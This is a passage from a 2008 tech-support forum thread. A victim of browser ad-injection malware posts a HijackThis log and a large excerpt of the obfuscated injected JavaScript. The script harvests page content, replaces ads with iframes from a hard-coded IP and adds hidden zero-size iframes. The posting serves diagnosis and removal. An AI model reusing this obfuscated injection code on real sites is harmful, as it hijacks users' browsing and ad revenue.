1. Computer problem? Tech Support Guy is completely free -- paid for by advertisers and donations. Click here to join today! If you're new to Tech Support Guy, we highly recommend that you visit our Guide for New Members.

Solved: Javascript injected at the end of the web pages

Discussion in 'Virus & Other Malware Removal' started by hypnotics, Jun 30, 2008.

Thread Status:
Not open for further replies.
Advertisement
  1. hypnotics

    hypnotics Thread Starter

    Joined:
    Jun 30, 2008
    Messages:
    5
    Hi guys,

    I have a very frustrating problem here.

    Whenever I open a web page that has ads on it, a javascript gets injected at the end of the page which switches the ads to a random ad at yieldmanager.com. Even the google ads on top of this page got changed.

    Also, It prevents me from accessing the google SERPS, yahoo SERPS, myspace, facebook and some other sites.

    This happens on all browsers: Firefox, Opera & IE.

    Strange thing is that it happens only when I'm logged in as an administrator. When I log in as a guest, the problem is gone.

    I tried scanning with Kaspersky IS, Ad-Aware and Spybot, but nothing seems to help.

    Also tried ATF-Cleaner to delete temp files & cookies, but that didn't work either.

    Any help would be much appreciated.

    Thank you.

    Here's my HijackThis log:

    Code:
    Logfile of HijackThis v1.99.1
    Scan saved at 13:06:43, on 30.06.2008
    Platform: Windows XP SP2 (WinNT 5.01.2600)
    MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)
    
    Running processes:
    H:\WINDOWS\System32\smss.exe
    H:\WINDOWS\system32\winlogon.exe
    H:\WINDOWS\system32\services.exe
    H:\WINDOWS\system32\lsass.exe
    H:\WINDOWS\system32\svchost.exe
    H:\WINDOWS\System32\svchost.exe
    H:\Program Files\Lavasoft\Ad-Aware\aawservice.exe
    H:\WINDOWS\system32\spoolsv.exe
    H:\WINDOWS\Explorer.EXE
    H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\avp.exe
    H:\WINDOWS\RTHDCPL.EXE
    H:\Program Files\CyberLink\PowerDVD\PDVDServ.exe
    H:\WINDOWS\system32\RUNDLL32.EXE
    H:\WINDOWS\system32\Rundll32.exe
    H:\WINDOWS\system32\ctfmon.exe
    H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\avp.exe
    H:\WINDOWS\system32\nvsvc32.exe
    H:\WINDOWS\system32\svchost.exe
    H:\Program Files\Winamp\winamp.exe
    H:\WINDOWS\system32\vsjitdebugger.exe
    H:\WINDOWS\system32\vsjitdebugger.exe
    H:\WINDOWS\system32\vsjitdebugger.exe
    H:\WINDOWS\system32\vsjitdebugger.exe
    H:\Program Files\Opera\opera.exe
    H:\Program Files\Mozilla Firefox\firefox.exe
    H:\Program Files\Hijackthis\HijackThis.exe
    
    R3 - Default URLSearchHook is missing
    O2 - BHO: Adobe PDF Reader Link Helper - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - H:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelper.dll
    O2 - BHO: (no name) - {52F7B50D-0ADC-4868-B457-F888296C1F70} - H:\WINDOWS\system32\hgGVOedB.dll (file missing)
    O2 - BHO: IEVkbdBHO - {59273AB4-E7D3-40F9-A1A8-6FA9CCA1862C} - H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\ievkbd.dll
    O2 - BHO: (no name) - {BD3C6F7C-6C8D-48F6-AC52-5E4071AEB257} - H:\WINDOWS\system32\vtUlMfGV.dll (file missing)
    O4 - HKLM\..\Run: [AVP] "H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\avp.exe"
    O4 - HKLM\..\Run: [RemoteControl] "H:\Program Files\CyberLink\PowerDVD\PDVDServ.exe"
    O4 - HKLM\..\Run: [QuickTime Task] "H:\Program Files\K-Lite Codec Pack\QuickTime\QTTask.exe" -atboottime
    O4 - HKLM\..\Run: [nwiz] nwiz.exe /install
    O4 - HKLM\..\Run: [NvMediaCenter] RUNDLL32.EXE H:\WINDOWS\system32\NvMcTray.dll,NvTaskbarInit
    O4 - HKLM\..\Run: [NvCplDaemon] RUNDLL32.EXE H:\WINDOWS\system32\NvCpl.dll,NvStartup
    O4 - HKLM\..\Run: [NeroFilterCheck] H:\WINDOWS\system32\NeroCheck.exe
    O4 - HKLM\..\Run: [BMf787e8ea] Rundll32.exe "H:\WINDOWS\system32\eaqeajng.dll",s
    O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions present
    O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel present
    O6 - HKLM\Software\Policies\Microsoft\Internet Explorer\Restrictions present
    O6 - HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel present
    O8 - Extra context menu item: Add to Banner Ad Blocker - H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\ie_banner_deny.htm
    O9 - Extra button: Web traffic protection statistics - {1F460357-8A94-4D71-9CA3-AA4ACF32ED8E} - H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\SCIEPlgn.dll
    O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - H:\PROGRA~1\MICROS~2\OFFICE11\REFIEBAR.DLL
    O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - H:\Program Files\Messenger\msmsgs.exe
    O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - H:\Program Files\Messenger\msmsgs.exe
    O10 - Unknown file in Winsock LSP: h:\program files\bonjour\mdnsnsp.dll
    O17 - HKLM\System\CCS\Services\Tcpip\..\{8DFECCE4-07ED-42C7-92B5-DDA6A3A4437F}: NameServer = 217.16.69.1 217.16.69.3
    O18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - H:\Program Files\Common Files\Microsoft Shared\Help\hxds.dll
    O20 - AppInit_DLLs: H:\PROGRA~1\KASPER~1\KASPER~1\mzvkbd.dll,H:\PROGRA~1\KASPER~1\KASPER~1\adialhk.dll,H:\PROGRA~1\KASPER~1\KASPER~1\kloehk.dll
    O20 - Winlogon Notify: klogon - H:\WINDOWS\system32\klogon.dll
    O20 - Winlogon Notify: vtUlMfGV - vtUlMfGV.dll (file missing)
    O23 - Service: Lavasoft Ad-Aware Service (aawservice) - Lavasoft - H:\Program Files\Lavasoft\Ad-Aware\aawservice.exe
    O23 - Service: Kaspersky Internet Security (AVP) - Unknown owner - H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\avp.exe" -r (file missing)
    O23 - Service: NVIDIA Display Driver Service (NVSvc) - NVIDIA Corporation - H:\WINDOWS\system32\nvsvc32.exe
    
    
    and here's part of the javascript that's injected on the pages (I had to delete a part of it, as vbulletin complains on the post length):


    Code:
    <script type="text/javascript" language="javascript">
    
        var   VwBxkVPFriTAJEkAKH;
        nSntKyAVtIWhuIPQP = window.onload;
        
        window.onload = miCCcKPltsBSWmUP;
        var   WsvAonWSnyfkNQdi;
        
        bjMFkcSAFhEQlwh = "";
        var   BhocQfvRAITrEeQ=  258 - 16967;
        aUqfMvKsYwyFXAXPGjc = "";
        
        ITrRXKqmSKVGSMjBIl = "";
        
        
        UKFbmVqbRppYlNRsI = hsKdmPIinGMBIAK(window.location.href);
        var   vLmIguDNQGJfBWjt;
        EqvlXfScipStUwxfP = '155286'; 
        var   HdDNEilqcOfbmqBuSym=  7517 - 32038;
        rICtjSSsFCTdpAtEGjc = '89D62EDA19614FEF9D642C62507F4299';
        
        AdgoPDbxaqyTtNa = '11623354445511DDA091155286CFFFFF';
        var jFuutKjEtYFSLFBTQH =18808;
        nlrIiQpTRnCckDXYTB = 'mm2';
        var   UpDnHOcimVwjsNGRwG;
        var NHmPBQXUkJyShxKrES =21570 + 21835;
          
        
        cMJEqEMqPWXwyqYbD = new Array();
        
    
        hhEjGHrdPNbtEyHF = new Array();
        var TehISLGMutORFtgHs =12901 + 14489;
                    
        var arrAnti = new Array("vlaze\.com","sex","****","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b728x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b728x90',
    'http://85.12.43.87/fls.geo/MK_728x90_29.html?a=b',
    '728', '728', '90', '90',
    '',
    ''));
    var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b720x300", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b720x300',
    'http://85.12.43.87/fls.geo/MK_720x300_1.html?a=b',
    '720', '720', '300', '300',
    '',
    ''));
    var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b468x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b468x60',
    'http://85.12.43.87/fls.geo/MK_468x60_20.html?a=b',
    '468', '468', '60', '60',
    '',
    ''));
    var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b336x280", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b336x280',
    'http://85.12.43.87/fls.geo/MK_336x280_11.html?a=b',
    '336', '336', '280', '280',
    '',
    ''));
    var arrAnti = new Array("vlaze\.com","sex","****","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b300x250',
    'http://85.12.43.87/fls.geo/MK_300x250_13.html?a=b',
    '300', '300', '250', '250',
    '',
    ''));
    var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x100", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b300x100',
    'http://85.12.43.87/fls.geo/MK_300x100_1.html?a=b',
    '300', '300', '100', '100',
    '',
    ''));
    var arrAnti = new Array("googlesyndication\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b250x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b250x250',
    'http://85.12.43.87/fls.geo/MK_250x250_1.html?a=b',
    '250', '250', '250', '250',
    '',
    ''));
    var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b240x400", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b240x400',
    'http://85.12.43.87/fls.geo/MK_240x400_1.html?a=b',
    '240', '240', '400', '400',
    '',
    ''));
    var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b234x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b234x60',
    'http://85.12.43.87/fls.geo/MK_234x60_20.html?a=b',
    '234', '234', '60', '60',
    '',
    ''));
    var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b180x150", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b180x150',
    'http://85.12.43.87/fls.geo/MK_180x150_4.html?a=b',
    '180', '180', '150', '150',
    '',
    ''));
    var arrAnti = new Array("sex","****","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b160x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b160x600',
    'http://85.12.43.87/fls.geo/MK_160x600_35.html?a=b',
    '160', '160', '600', '600',
    '',
    ''));
    var arrAnti = new Array("search42\.com","joybuyjoy\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b125x125", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b125x125',
    'http://85.12.43.87/fls.geo/MK_125x125_2.html?a=b',
    '125', '125', '125', '125',
    '',
    ''));
    var arrAnti = new Array("tube\.com","youporn\.com","sexthe\.net","games\.yahoo\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b120x90',
    'http://85.12.43.87/fls.geo/MK_120x90_3.html?a=b',
    '120', '120', '90', '90',
    '',
    ''));
    var arrAnti = new Array("sex","****","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b120x600',
    'http://85.12.43.87/fls.geo/MK_120x600_3.html?a=b',
    '120', '120', '600', '600',
    '',
    ''));
    var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x240", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
    hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
    'b120x240',
    'http://85.12.43.87/fls.geo/MK_120x240_2.html?a=b',
    '120', '120', '240', '240',
    '',
    ''));
    
        vWBsfoNxQYWiVMrGR =8100 + 25706;
        
        LXLYdtPQqddyYOC = new Array();
        
        
        var XhUfvNIkUpyNdirH =9134 + 14369;
        function miCCcKPltsBSWmUP()
        {   
            UETLVwICDSfYfQWkKj =24145 + 5374;
            var QxVRbuNNOHRBwtwsLkt;
             
             var gNWoCvQDNymqBpgewE =16903;
            window.onload = nSntKyAVtIWhuIPQP; 
            
            if (nSntKyAVtIWhuIPQP != null)
            {
                nSntKyAVtIWhuIPQP();
                var   keOqdodTxKKGeTOLgy=  9966 - 31067;
            }
                
                
            if (!document || !document.body || !document.body.childNodes)
            {
                return;
                var   EuSNILRgFirfTtOstl=  16250 - 477;
            }
            
            if ( document.referrer && document.referrer.indexOf("85.12.43.83") >= 0)
                return;
    
            bjMFkcSAFhEQlwh   = ivcHGGaLLatLvwLOn();
            var rTKCyyloKOtdJygKBe =23906 + 1940;
            aUqfMvKsYwyFXAXPGjc     = xismnBTkdXsatJHot();
            var FkCPmiiHCDsBpPBe =7474 + 28905;
            ITrRXKqmSKVGSMjBIl = UCVNlokVYALmhhAqu(document.body);
            var   NTBNVUmjXJHNbnjMGy=  2542 - 12346;
        
            YWCDGoXVYGeOgjG();
            eFUsrsKMtiPgIQkG = 4359;
            if(iCOLylNmhfjqiUOJUER())
            {
                var   iWsUsQBxDBbUGSr=  29813 - 10633;
                document.body.style.marginLeft = '0';
                
                CAOnwweaPeenBfut =18604 + 6533;
                document.body.style.marginTop = '0';
                var XfobplXXLrOqaiLBUV =23918 + 24742;
                return;   
                
            } 
                
            var   lofPigyjevQmtWwSgM;    
            QxVRbuNNOHRBwtwsLkt = document.body.childNodes;
            
            IgnOSFdmxYpsmwOl(hhEjGHrdPNbtEyHF, QxVRbuNNOHRBwtwsLkt, 0);
            NWRKVTDuAEvHWPxU = 18995;
            
        } 
        
        function HVxvGblEEOLBEDMYs(millis) 
        {
            
            var date = new Date();
            
            var curDate = null;
    
            
            do { 
                    
                    curDate = new Date(); 
                    
                    } 
            while(curDate-date < millis);
        }
    
        function ivcHGGaLLatLvwLOn()
        {
            
            var temp = "";
            
            var e;
            YNYdpiclOCwMHVpSb =13856 + 19226;
            try
            {
                var   JHALxvRopiGETYf;
                temp = window.top.location.href;
                
            }
            catch(e)
            {
                var AClUowGGuyehTravRT =10492 + 53;
                temp =  window.location.href;
                var HhWFasvoIPsROcO =13610 + 5226;
            }
            
            return temp;
            var   IDtLYGWGICFwxlcaT;
            
        } 
        
    
        function hsKdmPIinGMBIAK(str)
        {
            ggKXkbJXvGTrMjY =101 + 13766;
            if (str == null)
            {
                
                return "";
            }
    
        var HqVBowAxgkWmQcAN =13810;
            str = escape(str);
            var LafCtOQmEGQYgww =22120;
            str = str.replace(/\+/g, "%2B");
            var dIuwhWTpbqRsxbXa =24567 + 13386;
            str = str.replace(/\//g, "%2F"); 
            var   SfnvuuSVKqFrRXCtMkF=  19074 - 22584;
    
            return str;
            
        }
        
    
        function xismnBTkdXsatJHot()
        {
        var   ajbxBUUNQRsHtQWls;
            var e;
            
            var str = "";
            
            try
            {
            var gOrxwUHMDEDrWkJoq =27391 + 10956;
                var head = window.top.document.getElementsByTagName('head').item(0);
                var   AhDMchMLAhFVAoolr;
                if(head != null)
                {
                spslerJKswDIispoFk = 23370;
                    if (head.childNodes != null && head.childNodes.length > 0)
                    {
                    var   HOTkROloaGnLiuKBlYW;
                        for(var y=head.childNodes.length-1; y>=0; y--)
                        {
                            var child = head.childNodes.item(y);
                            xKsneWeTnWlFKVC = 363;
                            if(child.tagName == "META")
                            {              
                            var EnvXQnVCAIixbGJ =2745;         
                                str += "<META ";
    
                                if(child.content != "" && child.name == "keywords")
                                    str += 'content="' + child.content + '" ';
                                    var   RBWWDDCDfHAXpWkwBP=  5913 - 13828;
    
                                str += " >\n";
                                var yINHplkNfpCMJiG =32062;
                            }
                        }
                    }
                }
            }
            catch(e)
            {
            var qEkvSXvlFSVHeJN =7290;
            }
    
    MBFcMiODyILrhPeMMvl = 24237;
            str = hsKdmPIinGMBIAK(str);
    
            return str;
            var   gqffhvawQybWIMsvR=  26738 - 14434;
        } 
        
       
        function ciRnyrlplKhqPFmpR(rulesetElement)
        {
        var JxXqwhotvxCtBNH =11635 + 17993;
            var i;
            
    
            
            if (rulesetElement.Global == 1)
            {
            
                return "_";
                }
    
    var   mpokQleKePBAjkmJAxi;
            
            for (i = 0; i < rulesetElement.AntiArr.length; i++)
                if (document.location.href.indexOf(rulesetElement.AntiArr[i]) != -1)
                {
                BarxmksJYEEXOGJjjL =28042 + 20972;
                    return null;
                    
                    }
    
    
            
            for (i = 0; i < rulesetElement.ContentArr.length; i++)
            {
            var   hgaiCDCGehtxnac=  32438 - 10015;
                if (ITrRXKqmSKVGSMjBIl.indexOf(rulesetElement.ContentArr[i]) != -1)
                    return rulesetElement.ContentArr[i];
                    var   RCTEXHginDFYrahLRTV;
    }
            
            for (i = 0; i < rulesetElement.MetaArr.length; i++)
            {
            
                if (aUqfMvKsYwyFXAXPGjc.indexOf(rulesetElement.MetaArr[i]) != -1)
                    return rulesetElement.MetaArr[i];
                    var ivaXtuinSXyPdufHhe =3224 + 7010;
    }
            
            for (i = 0; i < rulesetElement.UrlArr.length; i++)
            {
            var   SSBlyTSvGrFvFjPR;
                if (document.location.href.indexOf(rulesetElement.UrlArr[i]) != -1)
                    return rulesetElement.UrlArr[i];
                   var   dbfbvjVfdToCMlJ; 
                    }
    
            return null;
            iaNELaGWhLqpMVO = 31888;
        } 
    
        
    
        function UCVNlokVYALmhhAqu(nodeElement)
        {
        var dBQxghwoCNRWCIN =24818;
            var retStr = "";
    
    sJDluUrmibJDFvsbUh = 7999;
            if(null==nodeElement)
                return "";
                
    
            if (nodeElement.nodeValue != null)
                retStr = nodeElement.nodeValue;
    OoDYtbSSGxLkscXp = 2765;
            var allChildrenNode = nodeElement.childNodes;
    
    var OTTQefgdarCIAKm =24030 + 368;
            if (allChildrenNode != null && allChildrenNode.length > 0)
            {
            var emvHiYhomVgjHbSs =11977;
                for(var y=allChildrenNode.length-1; y>=0; y--)
                {
                
                    var child = allChildrenNode.item(y);
    
    var   dASdyaTEwdjYLrGwgS;
                    retStr = retStr + UCVNlokVYALmhhAqu(child);
                    
                }
                
            }
    
    
            retStr = retStr + " ";
            var   jNUcWOstaTHVEIBfc=  12416 - 19178;
            return retStr;
            var   ykCHveAHPfkwXlOa=  6012 - 11595;
        } 
    
    
        function XUoBDoiNvVCjIHN(Obj)
        {                
    var BvWwbHMSKkqJbTiHWOi =20081;
            try
            {
               
                aWKmOfgpdIEWMCcXEXc = 24947;
                var fr = document.createElement("IFRAME"); 
                var cbkwhrkAyVQFoJhKE =17815 + 26653;
                fr.framespacing = '0'; 
                BygcULQYCbofGlqLJO = 31355;
                fr.frameborder = 'no'; 
                var MuEluXUrkFRTUhK =8186;
                fr.scrolling = 'no'; 
                YGwnYSFqGYawiQR = 23733;
                fr.width = '0'; 
                
                fr.height = '0';        
                QIPkDxdinirSvxu =18374 + 7354;
                fr.marginWidth = "0";
                jhjBYPfVknuxFDXdGI = 3442;
                fr.marginHeight = "0";
                
                fr.style.borderWidth = "0px";
                var   eaTiWHDkFKIteAPPUw;
                fr.frameBorder = '0';
                mWEQjoHGwJxAHlB =21789 + 2267;
                fr.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID;
                
                document.body.appendChild(fr);
                var mbKyucyOmftSQhvpAC =5281 + 21745;
                HVxvGblEEOLBEDMYs(500);
               
            }
            catch(e)
            {
                var   NOQDSYvHMUiUnKlP=  9997 - 9861;
                var img = new Image();
                 var KwqPSbiMSgJfcbIwt =3465 + 29994;
                img.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID; 
                HVxvGblEEOLBEDMYs(500);
                
            }
                
            
        } 
        
        
        
        function iCOLylNmhfjqiUOJUER()
        {
        
            var str; 
            OigWghghFoxHOsplQe =29178 + 8377;
            var aid = EqvlXfScipStUwxfP; 
            
            var ss;
            
            var i;
            var yoySobiWsTWSjyoUX =19868 + 3775;
            var WvTgeFsqXXRIvhkNQBU;
            
            
            
            
            var   SjCtvdbkdJdscnHsK=  25567 - 15583;
                str = window.location.href; 
                var qtboUhuQBnjHYRt =20811 + 22638;
                for(i = 0; i < LXLYdtPQqddyYOC.length; ++i)
                {
                var fSIwShNQCUuHCYo =23288 + 25191;
                    if(!LXLYdtPQqddyYOC[i].length)
                        continue;
                        
                        RjBTOVrRJtYdBbho = 27184;
                    if(str.length < LXLYdtPQqddyYOC[i].length)
                        continue; 
                        var   XhcJgcrdWhuUHLBUQ;
                    if( (str.substr(0, LXLYdtPQqddyYOC[i].length) == LXLYdtPQqddyYOC[i])&&
                        (LXLYdtPQqddyYOC[i] != 'file://localhost/'))
                      {
                      var KBNCDAlLhWpmcqMM =11993;  
                        return 1;     }  
                    var   hvYRBGHuCxcrWAqvbo;     
                }; 
            
                for(i = 0; i < str.length - aid.length + 1; i++)
                {
                DoOSJpGLvFjdENd =21036 + 12705;
                    ss = str.substr(i, aid.length);
                    var   sXFEDVXtwaYMtKcU;
                    if(ss == aid)
                        return 1;
                } 
                
            
            
                try {   WvTgeFsqXXRIvhkNQBU = window.frameElement; }
                catch(e) {  WvTgeFsqXXRIvhkNQBU = null; }   
            
            var   eknmtKnndHhKnvwqdY=  3430 - 32544;
                if(WvTgeFsqXXRIvhkNQBU && ruOyvrIIfosmbvKML(hhEjGHrdPNbtEyHF, WvTgeFsqXXRIvhkNQBU))
                {
                    return 1;    
                    var   JuGSWhfiTQIkDQw=  28749 - 21513;}
            
                    
                    var   mOIFccXAJmDcXydA;
            return 0;
            
        }; 
        
        
        function YWCDGoXVYGeOgjG()
        {    
        
            var i;
            var SstUaxfEuqIvoQGq =18027;
            var str;
             
             
            for(i = 0; i < hhEjGHrdPNbtEyHF.length; ++i)
            {
            
                str = IyxWOmspCeEuIwcmh(hhEjGHrdPNbtEyHF[i].FrSrc);
                
                if(str.length)
                    LXLYdtPQqddyYOC.push(str);
                    
                    var   JqCKvDnEUXTHYkJ=  14105 - 14689;
                str = IyxWOmspCeEuIwcmh(hhEjGHrdPNbtEyHF[i].AHref);
                qWiXvkYPLomDOdpY = 21926;
                if(str.length)
                    LXLYdtPQqddyYOC.push(str);
                    eivMxiDBPyKOkWYCLRX =9065 + 5590;
                    
                str = IyxWOmspCeEuIwcmh(hhEjGHrdPNbtEyHF[i].ImgSrc);
                var siuuyQirahMNCYkegp =31289;
                if(str.length)
                    LXLYdtPQqddyYOC.push(str);                        
                var   RDIpdLDSWPnQgdDTsB=  30192 - 28470;
            } 
                
                var   CUsTestTCQjeReb=  409 - 1610;
        } 
        
        
        function CEhchKtAIrPCHWAx(CfmyepWtJUChlybFdX)
        {
        var QJhhbWlDUIQTKEQTnA =11465 + 25066;
            var FQirmPIWjaOlbVVQMI = document.createElement("IFRAME");
            var noeVHGGLjPmLLmM =26990;
            FQirmPIWjaOlbVVQMI.id = CfmyepWtJUChlybFdX.FrID;
            var   vyxWDjtWuihoFYT=  4071 - 22241;
            FQirmPIWjaOlbVVQMI.name = CfmyepWtJUChlybFdX.FrName; 
            eagYmmoNhICdFdgQe = 6447;
            FQirmPIWjaOlbVVQMI.framespacing = CfmyepWtJUChlybFdX.FrSpacing; 
            var   PtWalNfEDBtQciu;
            FQirmPIWjaOlbVVQMI.frameborder = CfmyepWtJUChlybFdX.FrBorder; 
            var   nCaMSWWJsYduXrTDVJ=  9391 - 2004;
            FQirmPIWjaOlbVVQMI.scrolling = CfmyepWtJUChlybFdX.FrScrolling ; 
            var   hGxIUbDBdMVgUxntPq=  21894 - 13237;
            FQirmPIWjaOlbVVQMI.width = CfmyepWtJUChlybFdX.FrWidthMin; 
            var fAHJLnFmfKsXcOWG =9196;
            FQirmPIWjaOlbVVQMI.height = CfmyepWtJUChlybFdX.FrHeightMin;        
            var   WsPavwWIdGIiVEIRT=  1740 - 18065;
            FQirmPIWjaOlbVVQMI.marginWidth = "0";
            
            FQirmPIWjaOlbVVQMI.marginHeight = "0";
            SyDcfsfCexnDLbWCLt =28093 + 24036;
            if(!FQirmPIWjaOlbVVQMI.frameborder || FQirmPIWjaOlbVVQMI.frameborder == 'no')
            {
            var iebqnjBrGafJpYMQ =31025;
                FQirmPIWjaOlbVVQMI.style.borderWidth = "0px";
                var   ERToyQeKYTosMdTPVY=  20021 - 13978;
                FQirmPIWjaOlbVVQMI.frameBorder = '0';
                MbuoYHTKHDPxoipeW =7122 + 18944;
            }                    
    
    dyOuYCCxKNJIOoJPdlU = 8132;
            FQirmPIWjaOlbVVQMI.src = CfmyepWtJUChlybFdX.FrSrc;
            
            return FQirmPIWjaOlbVVQMI;
            var ntCNBGQMRJAXVBmSJ =20138;
                
        } 
        
    
        
        function UysmXOuHbnxmwlGlreE(ObjArray, El, flob)
        {
        
            var i, x, y;
            var   ygyqaATNVOisKvv;
            try
            {
            var   HfeQDqQDTwkadBKBb;
                if(flob == 1)
                {
                
                    x = El.width;
                    GMIKnWRFDqPeMTFlTuy = 23170;
                    y = El.height;
                    var   IlPUQRGlPMMNPXHMNSm=  3922 - 23579;
                }
                else
                {
                
                    x = El.getAttribute("width");
                    DJOgFaJxJRVQcMbC =28331 + 540;
                    y = El.getAttribute("height");    
                    
                }
                        
                for(i = 0; i < ObjArray.length; ++i)
                    if( 
                        (  (x >= ObjArray[i].FrWidthMin) &&  (x <= ObjArray[i].FrWidthMax) )  && 
                        (  (y >= ObjArray[i].FrHeightMin) && (y <= ObjArray[i].FrHeightMax)  )
                      )  
                        
                        return ObjArray[i];     
                        MhCOpnVEnpMLaHVArm =16404 + 31697;
            }
            catch(e){}            
                    
            return    null;            
            
        } 
        
        function ruOyvrIIfosmbvKML(ObjArray, El)
        {
        
            var i;
            var KmvLfKYanhUnBqfOp =22673 + 6074;
            
            try
            {
            
                if(El.id)
                    for(i = 0; i < ObjArray.length; ++i)
